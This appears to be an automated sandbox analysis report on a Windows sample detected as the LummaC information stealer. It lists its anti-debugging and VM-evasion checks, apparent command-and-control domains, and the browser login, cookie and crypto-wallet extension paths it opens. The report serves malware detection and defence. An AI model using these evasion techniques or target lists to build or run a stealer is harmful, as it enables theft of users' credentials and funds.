Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F07CA second address: 48F0808 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F39B537D7EFh 0x00000009 adc ah, 0000000Eh 0x0000000c jmp 00007F39B537D7F9h 0x00000011 popfd 0x00000012 mov si, 3A17h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0808 second address: 48F080C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F080C second address: 48F0810 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0810 second address: 48F0816 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0909 second address: 48F090D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F090D second address: 48F092A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B477F4E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F092A second address: 48F096E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B537D7F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov bl, 19h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushfd 0x00000010 jmp 00007F39B537D7F6h 0x00000015 and ecx, 350781B8h 0x0000001b jmp 00007F39B537D7EBh 0x00000020 popfd 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F09BF second address: 48F09EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B477F4E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b movzx ecx, dx 0x0000000e mov edx, 0B332E1Ch 0x00000013 popad 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F09EE second address: 48F09F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F09F2 second address: 48F09F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F09F8 second address: 48F0A0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F39B537D7F2h 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E7ECFB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 103248C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 10B0C30 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 6532	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6668	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6668	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: file.exe, 00000000.00000003.2119075441.00000000052F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2399879648.0000000000819000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: file.exe, 00000000.00000002.2399879648.0000000000800000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWXC
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: file.exe, 00000000.00000002.2399879648.00000000007AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWhU
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2119075441.00000000052F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: file.exe, 00000000.00000003.2119075441.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.2078017323.0000000004730000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.2078017323.0000000004730000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.2078017323.0000000004730000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.2078017323.0000000004730000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.2078017323.0000000004730000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.2078017323.0000000004730000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.2078017323.0000000004730000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.2078017323.0000000004730000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: file.exe, 00000000.00000002.2400655318.000000000104A000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.2394643933.0000000000863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\ElectronCash\wallets
Source: file.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: file.exe	String found in binary or memory: ExodusWeb3
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.2148812476.0000000000872000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
